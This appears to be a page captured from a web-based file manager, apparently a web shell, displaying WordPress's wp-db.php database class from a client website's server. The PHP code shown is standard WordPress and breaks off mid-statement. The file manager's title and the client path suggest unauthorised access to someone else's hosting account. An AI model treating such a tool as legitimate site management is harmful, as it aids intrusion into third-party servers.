芝麻web文件管理V1.00

编辑当前文件:/home/prismawe/clients/herve-tessa-maconnerie.fr/wp-includes/wp-db.php
<?php /** * WordPress DB Class * * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)} * * @package WordPress * @subpackage Database * @since 0.71 */ /** * @since 0.71 */ define( 'EZSQL_VERSION', 'WP1.25' ); /** * @since 0.71 */ define( 'OBJECT', 'OBJECT' ); define( 'object', 'OBJECT' ); // Back compat. /** * @since 2.5.0 */ define( 'OBJECT_K', 'OBJECT_K' ); /** * @since 0.71 */ define( 'ARRAY_A', 'ARRAY_A' ); /** * @since 0.71 */ define( 'ARRAY_N', 'ARRAY_N' ); /** * WordPress Database Access Abstraction Object * * It is possible to replace this class with your own * by setting the $wpdb global variable in wp-content/db.php * file to your class. The wpdb class will still be included, * so you can extend it or simply use your own. * * @link https://codex.wordpress.org/Function_Reference/wpdb_Class * * @package WordPress * @subpackage Database * @since 0.71 */ class wpdb { /** * Whether to show SQL/DB errors. * * Default behavior is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY * evaluated to true. * * @since 0.71 * @access private * @var bool */ var $show_errors = false; /** * Whether to suppress errors during the DB bootstrapping. * * @access private * @since 2.5.0 * @var bool */ var $suppress_errors = false; /** * The last error during query. * * @since 2.5.0 * @var string */ public $last_error = ''; /** * Amount of queries made * * @since 1.2.0 * @access public * @var int */ public $num_queries = 0; /** * Count of rows returned by previous query * * @since 0.71 * @access public * @var int */ public $num_rows = 0; /** * Count of affected rows by previous query * * @since 0.71 * @access private * @var int */ var $rows_affected = 0; /** * The ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT). * * @since 0.71 * @access public * @var int */ public $insert_id = 0; /** * Last query made * * @since 0.71 * @access private * @var array */ var $last_query; /** * Results of the last query made * * @since 0.71 * @access private * @var array|null */ var $last_result; /** * MySQL result, which is either a resource or boolean. * * @since 0.71 * @access protected * @var mixed */ protected $result; /** * Cached column info, for sanity checking data before inserting * * @since 4.2.0 * @access protected * @var array */ protected $col_meta = array(); /** * Calculated character sets on tables * * @since 4.2.0 * @access protected * @var array */ protected $table_charset = array(); /** * Whether text fields in the current query need to be sanity checked. * * @since 4.2.0 * @access protected * @var bool */ protected $check_current_query = true; /** * Flag to ensure we don't run into recursion problems when checking the collation. * * @since 4.2.0 * @access private * @see wpdb::check_safe_collation() * @var bool */ private $checking_collation = false; /** * Saved info on the table column * * @since 0.71 * @access protected * @var array */ protected $col_info; /** * Saved queries that were executed * * @since 1.5.0 * @access private * @var array */ var $queries; /** * The number of times to retry reconnecting before dying. * * @since 3.9.0 * @access protected * @see wpdb::check_connection() * @var int */ protected $reconnect_retries = 5; /** * WordPress table prefix * * You can set this to have multiple WordPress installations * in a single database. The second reason is for possible * security precautions. * * @since 2.5.0 * @access public * @var string */ public $prefix = ''; /** * WordPress base table prefix. * * @since 3.0.0 * @access public * @var string */ public $base_prefix; /** * Whether the database queries are ready to start executing. * * @since 2.3.2 * @access private * @var bool */ var $ready = false; /** * Blog ID. * * @since 3.0.0 * @access public * @var int */ public $blogid = 0; /** * Site ID. * * @since 3.0.0 * @access public * @var int */ public $siteid = 0; /** * List of WordPress per-blog tables * * @since 2.5.0 * @access private * @see wpdb::tables() * @var array */ var $tables = array( 'posts', 'comments', 'links', 'options', 'postmeta', 'terms', 'term_taxonomy', 'term_relationships', 'commentmeta' ); /** * List of deprecated WordPress tables * * categories, post2cat, and link2cat were deprecated in 2.3.0, db version 5539 * * @since 2.9.0 * @access private * @see wpdb::tables() * @var array */ var $old_tables = array( 'categories', 'post2cat', 'link2cat' ); /** * List of WordPress global tables * * @since 3.0.0 * @access private * @see wpdb::tables() * @var array */ var $global_tables = array( 'users', 'usermeta' ); /** * List of Multisite global tables * * @since 3.0.0 * @access private * @see wpdb::tables() * @var array */ var $ms_global_tables = array( 'blogs', 'signups', 'site', 'sitemeta', 'sitecategories', 'registration_log', 'blog_versions' ); /** * WordPress Comments table * * @since 1.5.0 * @access public * @var string */ public $comments; /** * WordPress Comment Metadata table * * @since 2.9.0 * @access public * @var string */ public $commentmeta; /** * WordPress Links table * * @since 1.5.0 * @access public * @var string */ public $links; /** * WordPress Options table * * @since 1.5.0 * @access public * @var string */ public $options; /** * WordPress Post Metadata table * * @since 1.5.0 * @access public * @var string */ public $postmeta; /** * WordPress Posts table * * @since 1.5.0 * @access public * @var string */ public $posts; /** * WordPress Terms table * * @since 2.3.0 * @access public * @var string */ public $terms; /** * WordPress Term Relationships table * * @since 2.3.0 * @access public * @var string */ public $term_relationships; /** * WordPress Term Taxonomy table * * @since 2.3.0 * @access public * @var string */ public $term_taxonomy; /* * Global and Multisite tables */ /** * WordPress User Metadata table * * @since 2.3.0 * @access public * @var string */ public $usermeta; /** * WordPress Users table * * @since 1.5.0 * @access public * @var string */ public $users; /** * Multisite Blogs table * * @since 3.0.0 * @access public * @var string */ public $blogs; /** * Multisite Blog Versions table * * @since 3.0.0 * @access public * @var string */ public $blog_versions; /** * Multisite Registration Log table * * @since 3.0.0 * @access public * @var string */ public $registration_log; /** * Multisite Signups table * * @since 3.0.0 * @access public * @var string */ public $signups; /** * Multisite Sites table * * @since 3.0.0 * @access public * @var string */ public $site; /** * Multisite Sitewide Terms table * * @since 3.0.0 * @access public * @var string */ public $sitecategories; /** * Multisite Site Metadata table * * @since 3.0.0 * @access public * @var string */ public $sitemeta; /** * Format specifiers for DB columns. Columns not listed here default to %s. Initialized during WP load. * * Keys are column names, values are format types: 'ID' => '%d' * * @since 2.8.0 * @see wpdb::prepare() * @see wpdb::insert() * @see wpdb::update() * @see wpdb::delete() * @see wp_set_wpdb_vars() * @access public * @var array */ public $field_types = array(); /** * Database table columns charset * * @since 2.2.0 * @access public * @var string */ public $charset; /** * Database table columns collate * * @since 2.2.0 * @access public * @var string */ public $collate; /** * Database Username * * @since 2.9.0 * @access protected * @var string */ protected $dbuser; /** * Database Password * * @since 3.1.0 * @access protected * @var string */ protected $dbpassword; /** * Database Name * * @since 3.1.0 * @access protected * @var string */ protected $dbname; /** * Database Host * * @since 3.1.0 * @access protected * @var string */ protected $dbhost; /** * Database Handle * * @since 0.71 * @access protected * @var string */ protected $dbh; /** * A textual description of the last query/get_row/get_var call * * @since 3.0.0 * @access public * @var string */ public $func_call; /** * Whether MySQL is used as the database engine. * * Set in WPDB::db_connect() to true, by default. This is used when checking * against the required MySQL version for WordPress. Normally, a replacement * database drop-in (db.php) will skip these checks, but setting this to true * will force the checks to occur. * * @since 3.3.0 * @access public * @var bool */ public $is_mysql = null; /** * A list of incompatible SQL modes. * * @since 3.9.0 * @access protected * @var array */ protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY', 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL' ); /** * Whether to use mysqli over mysql. * * @since 3.9.0 * @access private * @var bool */ private $use_mysqli = false; /** * Whether we've managed to successfully connect at some point * * @since 3.9.0 * @access private * @var bool */ private $has_connected = false; /** * Connects to the database server and selects a database * * PHP5 style constructor for compatibility with PHP5. Does * the actual setting up of the class properties and connection * to the database. * * @link https://core.trac.wordpress.org/ticket/3354 * @since 2.0.8 * * @global string $wp_version * * @param string $dbuser MySQL database user * @param string $dbpassword MySQL database password * @param string $dbname MySQL database name * @param string $dbhost MySQL database host */ public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) { register_shutdown_function( array( $this, '__destruct' ) ); if ( WP_DEBUG && WP_DEBUG_DISPLAY ) $this->show_errors(); /* Use ext/mysqli if it exists and: * - WP_USE_EXT_MYSQL is defined as false, or * - We are a development version of WordPress, or * - We are running PHP 5.5 or greater, or * - ext/mysql is not loaded. */ if ( function_exists( 'mysqli_connect' ) ) { if ( defined( 'WP_USE_EXT_MYSQL' ) ) { $this->use_mysqli = ! WP_USE_EXT_MYSQL; } elseif ( version_compare( phpversion(), '5.5', '>=' ) || ! function_exists( 'mysql_connect' ) ) { $this->use_mysqli = true; } elseif ( false !== strpos( $GLOBALS['wp_version'], '-' ) ) { $this->use_mysqli = true; } } $this->dbuser = $dbuser; $this->dbpassword = $dbpassword; $this->dbname = $dbname; $this->dbhost = $dbhost; // wp-config.php creation will manually connect when ready. if ( defined( 'WP_SETUP_CONFIG' ) ) { return; } $this->db_connect(); } /** * PHP5 style destructor and will run when database object is destroyed. * * @see wpdb::__construct() * @since 2.0.8 * @return true */ public function __destruct() { return true; } /** * PHP5 style magic getter, used to lazy-load expensive data. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process * @return mixed The private member */ public function __get( $name ) { if ( 'col_info' === $name ) $this->load_col_info(); return $this->$name; } /** * Magic function, for backwards compatibility. * * @since 3.5.0 * * @param string $name The private member to set * @param mixed $value The value to set */ public function __set( $name, $value ) { $protected_members = array( 'col_meta', 'table_charset', 'check_current_query', ); if ( in_array( $name, $protected_members, true ) ) { return; } $this->$name = $value; } /** * Magic function, for backwards compatibility. * * @since 3.5.0 * * @param string $name The private member to check * * @return bool If the member is set or not */ public function __isset( $name ) { return isset( $this->$name ); } /** * Magic function, for backwards compatibility. * * @since 3.5.0 * * @param string $name The private member to unset */ public function __unset( $name ) { unset( $this->$name ); } /** * Set $this->charset and $this->collate * * @since 3.1.0 */ public function init_charset() { if ( function_exists('is_multisite') && is_multisite() ) { $this->charset = 'utf8'; if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) { $this->collate = DB_COLLATE; } else { $this->collate = 'utf8_general_ci'; } } elseif ( defined( 'DB_COLLATE' ) ) { $this->collate = DB_COLLATE; } if ( defined( 'DB_CHARSET' ) ) { $this->charset = DB_CHARSET; } if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) { return; } if ( 'utf8' === $this->charset && $this->has_cap( 'utf8mb4' ) ) { $this->charset = 'utf8mb4'; } if ( 'utf8mb4' === $this->charset && ( ! $this->collate || stripos( $this->collate, 'utf8_' ) === 0 ) ) { $this->collate = 'utf8mb4_unicode_ci'; } } /** * Sets the connection's character set. * * @since 3.1.0 * * @param resource $dbh The resource given by mysql_connect * @param string $charset Optional. The character set. Default null. * @param string $collate Optional. The collation. Default null. */ public function set_charset( $dbh, $charset = null, $collate = null ) { if ( ! isset( $charset ) ) $charset = $this->charset; if ( ! isset( $collate ) ) $collate = $this->collate; if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) { if ( $this->use_mysqli ) { if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) { mysqli_set_charset( $dbh, $charset ); } else { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) $query .= $this->prepare( ' COLLATE %s', $collate ); mysqli_query( $dbh, $query ); } } else { if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) { mysql_set_charset( $charset, $dbh ); } else { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) $query .= $this->prepare( ' COLLATE %s', $collate ); mysql_query( $query, $dbh ); } } } } /** * Change the current SQL mode, and ensure its WordPress compatibility. * * If no modes are passed, it will ensure the current MySQL server * modes are compatible. * * @since 3.9.0 * * @param array $modes Optional. A list of SQL modes to set. */ public function set_sql_mode( $modes = array() ) { if ( empty( $modes ) ) { if ( $this->use_mysqli ) { $res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' ); } else { $res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh ); } if ( empty( $res ) ) { return; } if ( $this->use_mysqli ) { $modes_array = mysqli_fetch_array( $res ); if ( empty( $modes_array[0] ) ) { return; } $modes_str = $modes_array[0]; } else { $modes_str = mysql_result( $res, 0 ); } if ( empty( $modes_str ) ) { return; } $modes = explode( ',', $modes_str ); } $modes = array_change_key_case( $modes, CASE_UPPER ); /** * Filter the list of incompatible SQL modes to exclude. * * @since 3.9.0 * * @param array $incompatible_modes An array of incompatible modes. */ $incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes ); foreach( $modes as $i => $mode ) { if ( in_array( $mode, $incompatible_modes ) ) { unset( $modes[ $i ] ); } } $modes_str = implode( ',', $modes ); if ( $this->use_mysqli ) { mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" ); } else { mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh ); } } /** * Sets the table prefix for the WordPress tables. * * @since 2.5.0 * * @param string $prefix Alphanumeric name for the new prefix. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, should be updated or not. * @return string|WP_Error Old prefix or WP_Error on error */ public function set_prefix( $prefix, $set_table_names = true ) { if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) return new WP_Error('invalid_db_prefix', 'Invalid database prefix' ); $old_prefix = is_multisite() ? '' : $prefix; if ( isset( $this->base_prefix ) ) $old_prefix = $this->base_prefix; $this->base_prefix = $prefix; if ( $set_table_names ) { foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; if ( is_multisite() && empty( $this->blogid ) ) return $old_prefix; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; } return $old_prefix; } /** * Sets blog id. * * @since 3.0.0 * @access public * * @param int $blog_id * @param int $site_id Optional. * @return int previous blog id */ public function set_blog_id( $blog_id, $site_id = 0 ) { if ( ! empty( $site_id ) ) $this->siteid = $site_id; $old_blog_id = $this->blogid; $this->blogid = $blog_id; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) $this->$table = $prefixed_table; return $old_blog_id; } /** * Gets blog prefix. * * @since 3.0.0 * @param int $blog_id Optional. * @return string Blog prefix. */ public function get_blog_prefix( $blog_id = null ) { if ( is_multisite() ) { if ( null === $blog_id ) $blog_id = $this->blogid; $blog_id = (int) $blog_id; if ( defined( 'MULTISITE' ) && ( 0 == $blog_id || 1 == $blog_id ) ) return $this->base_prefix; else return $this->base_prefix . $blog_id . '_'; } else { return $this->base_prefix; } } /** * Returns an array of WordPress tables. * * Also allows for the CUSTOM_USER_TABLE and CUSTOM_USER_META_TABLE to * override the WordPress users and usermeta tables that would otherwise * be determined by the prefix. * * The scope argument can take one of the following: * * 'all' - returns 'all' and 'global' tables. No old tables are returned. * 'blog' - returns the blog-level tables for the queried blog. * 'global' - returns the global tables for the installation, returning multisite tables only if running multisite. * 'ms_global' - returns the multisite global tables, regardless if current installation is multisite. * 'old' - returns tables which are deprecated. * * @since 3.0.0 * @uses wpdb::$tables * @uses wpdb::$old_tables * @uses wpdb::$global_tables * @uses wpdb::$ms_global_tables * * @param string $scope Optional. Can be all, global, ms_global, blog, or old tables. Defaults to all. * @param bool $prefix Optional. Whether to include table prefixes. Default true. If blog * prefix is requested, then the custom users and usermeta tables will be mapped. * @param int $blog_id Optional. The blog_id to prefix. Defaults to wpdb::$blogid. Used only when prefix is requested. * @return array Table names. When a prefix is requested, the key is the unprefixed table name. */ public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) { switch ( $scope ) { case 'all' : $tables = array_merge( $this->global_tables, $this->tables ); if ( is_multisite() ) $tables = array_merge( $tables, $this->ms_global_tables ); break; case 'blog' : $tables = $this->tables; break; case 'global' : $tables = $this->global_tables; if ( is_multisite() ) $tables = array_merge( $tables, $this->ms_global_tables ); break; case 'ms_global' : $tables = $this->ms_global_tables; break; case 'old' : $tables = $this->old_tables; break; default : return array(); } if ( $prefix ) { if ( ! $blog_id ) $blog_id = $this->blogid; $blog_prefix = $this->get_blog_prefix( $blog_id ); $base_prefix = $this->base_prefix; $global_tables = array_merge( $this->global_tables, $this->ms_global_tables ); foreach ( $tables as $k => $table ) { if ( in_array( $table, $global_tables ) ) $tables[ $table ] = $base_prefix . $table; else $tables[ $table ] = $blog_prefix . $table; unset( $tables[ $k ] ); } if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) $tables['users'] = CUSTOM_USER_TABLE; if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) $tables['usermeta'] = CUSTOM_USER_META_TABLE; } return $tables; } /** * Selects a database using the current database connection. * * The database name will be changed based on the current database * connection. On failure, the execution will bail and display an DB error. * * @since 0.71 * * @param string $db MySQL database name * @param resource|null $dbh Optional link identifier. */ public function select( $db, $dbh = null ) { if ( is_null($dbh) ) $dbh = $this->dbh; if ( $this->use_mysqli ) { $success = @mysqli_select_db( $dbh, $db ); } else { $success = @mysql_select_db( $db, $dbh ); } if ( ! $success ) { $this->ready = false; if ( ! did_action( 'template_redirect' ) ) { wp_load_translations_early(); $this->bail( sprintf( __( '<h1>Can’t select database</h1> <p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>%1$s</code> database.</p> <ul> <li>Are you sure it exists?</li> <li>Does the user <code>%2$s</code> have permission to use the <code>%1$s</code> database?</li> <li>On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?</li> </ul> <p>If you don\'t know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="https://wordpress.org/support/">WordPress Support Forums</a>.</p>' ), htmlspecialchars( $db, ENT_QUOTES ), htmlspecialchars( $this->dbuser, ENT_QUOTES ) ), 'db_select_fail' ); } } } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 2.8.0 * @deprecated 3.6.0 * @see wpdb::prepare * @see esc_sql() * @access private * * @param string $string * @return string */ function _weak_escape( $string ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) _deprecated_function( __METHOD__, '3.6', 'wpdb::prepare() or esc_sql()' ); return addslashes( $string ); } /** * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string() * * @see mysqli_real_escape_string() * @see mysql_real_escape_string() * @since 2.8.0 * @access private * * @param string $string to escape * @return string escaped */ function _real_escape( $string ) { if ( $this->dbh ) { if ( $this->use_mysqli ) { $escaped = mysqli_real_escape_string( $this->dbh, $string ); } else { $escaped = mysql_real_escape_string( $string, $this->dbh ); } } else { $class = get_class( $this ); if ( function_exists( '__' ) ) { /* translators: %s: database access abstraction class, usually wpdb or a class extending wpdb */ _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' ); } else { _doing_it_wrong( $class, sprintf( '%s must set a database connection for use with escaping.', $class ), '3.6.0' ); } $escaped = addslashes( $string ); } return $this->add_placeholder_escape( $escaped ); } /** * Escape data. Works on arrays. * * @uses wpdb::_real_escape() * @since 2.8.0 * @access private * * @param string|array $data * @return string|array escaped */ function _escape( $data ) { if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array($v) ) $data[$k] = $this->_escape( $v ); else $data[$k] = $this->_real_escape( $v ); } } else { $data = $this->_real_escape( $data ); } return $data; } /** * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.6.0 * @see wpdb::prepare() * @see esc_sql() * * @param mixed $data * @return mixed */ public function escape( $data ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) _deprecated_function( __METHOD__, '3.6', 'wpdb::prepare() or esc_sql()' ); if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) $data[$k] = $this->escape( $v, 'recursive' ); else $data[$k] = $this->_weak_escape( $v, 'internal' ); } } else { $data = $this->_weak_escape( $data, 'internal' ); } return $data; } /** * Escapes content by reference for insertion into the database, for security * * @uses wpdb::_real_escape() * * @since 2.3.0 * * @param string $string to escape */ public function escape_by_ref( &$string ) { if ( ! is_float( $string ) ) $string = $this->_real_escape( $string ); } /** * Prepares a SQL query for safe execution. Uses sprintf()-like syntax. * * The following placeholders can be used in the query string: * %d (integer) * %f (float) * %s (string) * * All placeholders MUST be left unquoted in the query string. A corresponding argument MUST be passed for each placeholder. * * For compatibility with old behavior, numbered or formatted string placeholders (eg, %1$s, %5s) will not have quotes * added by this function, so should be passed with appropriate quotes around them for your usage. * * Literal percentage signs (%) in the query string must be written as %%. Percentage wildcards (for example, * to use in LIKE syntax) must be passed via a substitution argument containing the complete LIKE string, these * cannot be inserted directly in the query string. Also see {@see esc_like()}. * * Arguments may be passed as individual arguments to the method, or as a single array containing all arguments. A combination * of the two is not supported. * * Examples: * $wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", array( 'foo', 1337, '%bar' ) ); * $wpdb->prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' ); * * @link https://secure.php.net/sprintf Description of syntax. * @since 2.3.0 * * @param string $query Query statement with sprintf()-like placeholders * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called with an array of arguments, * or the first variable to substitute into the query's placeholders if being called with individual arguments. * @param mixed $args,... further variables to substitute into the query's placeholders if being called wih individual arguments. * @return string|void Sanitized query string, if there is a query to prepare. */ public function prepare( $query, $args ) { if ( is_null( $query ) ) { return; } // This is not meant to be foolproof -- but it will catch obviously incorrect usage. if ( strpos( $query, '%' ) === false ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); } $args = func_get_args(); array_shift( $args ); // If args were passed as an array (as in vsprintf), move them up. $passed_as_array = false; if ( is_array( $args[0] ) && count( $args ) == 1 ) { $passed_as_array = true; $args = $args[0]; } foreach ( $args as $arg ) { if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'Unsupported value type (%s).' ), gettype( $arg ) ), '4.8.2' ); } } /* * Specify the formatting allowed in a placeholder. The following are allowed: * * - Sign specifier. eg, $+d * - Numbered placeholders. eg, %1$s * - Padding specifier, including custom padding characters. eg, %05s, %'#5s * - Alignment specifier. eg, %05-s * - Precision specifier. eg, %.2f */ $allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?'; /* * If a %s placeholder already has quotes around it, removing the existing quotes and re-inserting them * ensures the quotes are consistent. * * For backwards compatibility, this is only applied to %s, and not to placeholders like %1$s, which are frequently * used in the middle of longer strings, or as table name placeholders. */ $query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes. $query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes. $query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); // Quote the strings, avoiding escaped strings like %%s. $query = preg_replace( "/(?<!%)(%($allowed_format)?f)/" , '%\\2F', $query ); // Force floats to be locale unaware. $query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); // Escape any unescaped percents. // Count the number of valid placeholders in the query. $placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches ); if ( count( $args ) !== $placeholders ) { if ( 1 === $placeholders && $passed_as_array ) { // If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail. wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' ); return; } else { /* * If we don't have the right number of placeholders, but they were passed as individual arguments, * or we were expecting multiple arguments in an array, throw a warning. */ wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', /* translators: 1: number of placeholders, 2: number of arguments passed */ sprintf( __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ), $placeholders, count( $args ) ), '4.8.3' ); } } array_walk( $args, array( $this, 'escape_by_ref' ) ); $query = @vsprintf( $query, $args ); return $this->add_placeholder_escape( $query ); } /** * First half of escaping for LIKE special characters % and _ before preparing for MySQL. * * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . $wpdb->esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like ); * * Example Escape Chain: * $sql = esc_sql( $wpdb->esc_like( $input ) ); * * @since 4.0.0 * @access public * * @param string $text The raw text to be escaped. The input typed by the user should have no * extra or deleted slashes. * @return string Text in the form of a LIKE phrase. The output is not SQL safe. Call $wpdb::prepare() * or real_escape next. */ public function esc_like( $text ) { return addcslashes( $text, '_%\\' ); } /** * Print SQL/DB error. * * @since 0.71 * @global array $EZSQL_ERROR Stores error information of query and error string * * @param string $str The error to display * @return false|void False if the showing of errors is disabled. */ public function print_error( $str = '' ) { global $EZSQL_ERROR; if ( !$str ) { if ( $this->use_mysqli ) { $str = mysqli_error( $this->dbh ); } else { $str = mysql_error( $this->dbh ); } } $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str ); if ( $this->suppress_errors ) return false; wp_load_translations_early(); if ( $caller = $this->get_caller() ) $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller ); else $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query ); error_log( $error_str ); // Are we showing errors? if ( ! $this->show_errors ) return false; // If there is an error then take note of it if ( is_multisite() ) { $msg = sprintf( "%s [%s]\n%s\n", __( 'WordPress database error:' ), $str, $this->last_query ); if ( defined( 'ERRORLOGFILE' ) ) { error_log( $msg, 3, ERRORLOGFILE ); } if ( defined( 'DIEONDBERROR' ) ) { wp_die( $msg ); } } else { $str = htmlspecialchars( $str, ENT_QUOTES ); $query = htmlspecialchars( $this->last_query, ENT_QUOTES ); printf( '<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>', __( 'WordPress database error:' ), $str, $query ); } } /** * Enables showing of database errors. * * This function should be used only to enable showing of errors. * wpdb::hide_errors() should be used instead for hiding of errors. However, * this function can be used to enable and disable showing of database * errors. * * @since 0.71 * @see wpdb::hide_errors() * * @param bool $show Whether to show or hide errors * @return bool Old value for showing errors. */ public function show_errors( $show = true ) { $errors = $this->show_errors; $this->show_errors = $show; return $errors; } /** * Disables showing of database errors. * * By default database errors are not shown. * * @since 0.71 * @see wpdb::show_errors() * * @return bool Whether showing of errors was active */ public function hide_errors() { $show = $this->show_errors; $this->show_errors = false; return $show; } /** * Whether to suppress database errors. * * By default database errors are suppressed, with a simple * call to this function they can be enabled. * * @since 2.5.0 * @see wpdb::hide_errors() * @param bool $suppress Optional. New value. Defaults to true. * @return bool Old value */ public function suppress_errors( $suppress = true ) { $errors = $this->suppress_errors; $this->suppress_errors = (bool) $suppress; return $errors; } /** * Kill cached query results. * * @since 0.71 */ public function flush() { $this->last_result = array(); $this->col_info = null; $this->last_query = null; $this->rows_affected = $this->num_rows = 0; $this->last_error = ''; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { mysqli_free_result( $this->result ); $this->result = null; // Sanity check before using the handle if ( empty( $this->dbh ) || !( $this->dbh instanceof mysqli ) ) { return; } // Clear out any results from a multi-query while ( mysqli_more_results( $this->dbh ) ) { mysqli_next_result( $this->dbh ); } } elseif ( is_resource( $this->result ) ) { mysql_free_result( $this->result ); } } /** * Connect to and select database. * * If $allow_bail is false, the lack of database connection will need * to be handled manually. * * @since 3.0.0 * @since 3.9.0 $allow_bail parameter added. * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool True with a successful connection, false on failure. */ public function db_connect( $allow_bail = true ) { $this->is_mysql = true; /* * Deprecated in 3.9+ when using MySQLi. No equivalent * $new_link parameter exists for mysqli_* functions. */ $new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true; $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0; if ( $this->use_mysqli ) { $this->dbh = mysqli_init(); // mysqli_real_connect doesn't support the host param including a port or socket // like mysql_connect does. This duplicates how mysql_connect detects a port and/or socket file. $port = null; $socket = null; $host = $this->dbhost; $port_or_socket = strstr( $host, ':' ); if ( ! empty( $port_or_socket ) ) { $host = substr( $host, 0, strpos( $host, ':' ) ); $port_or_socket = substr( $port_or_socket, 1 ); if ( 0 !== strpos( $port_or_socket, '/' ) ) { $port = intval( $port_or_socket ); $maybe_socket = strstr( $port_or_socket, ':' ); if ( ! empty( $maybe_socket ) ) { $socket = substr( $maybe_socket, 1 ); } } else { $socket = $port_or_socket; } } if ( WP_DEBUG ) { mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } else { @mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags ); } if ( $this->dbh->connect_errno ) { $this->dbh = null; /* It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if: * - We haven't previously connected, and * - WP_USE_EXT_MYSQL isn't set to false, and * - ext/mysql is loaded. */ $attempt_fallback = true; if ( $this->has_connected ) { $attempt_fallback = false; } elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) { $attempt_fallback = false; } elseif ( ! function_exists( 'mysql_connect' ) ) { $attempt_fallback = false; } if ( $attempt_fallback ) { $this->use_mysqli = false; $this->db_connect(); } } } else { if ( WP_DEBUG ) { $this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } else { $this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags ); } } if ( ! $this->dbh && $allow_bail ) { wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( 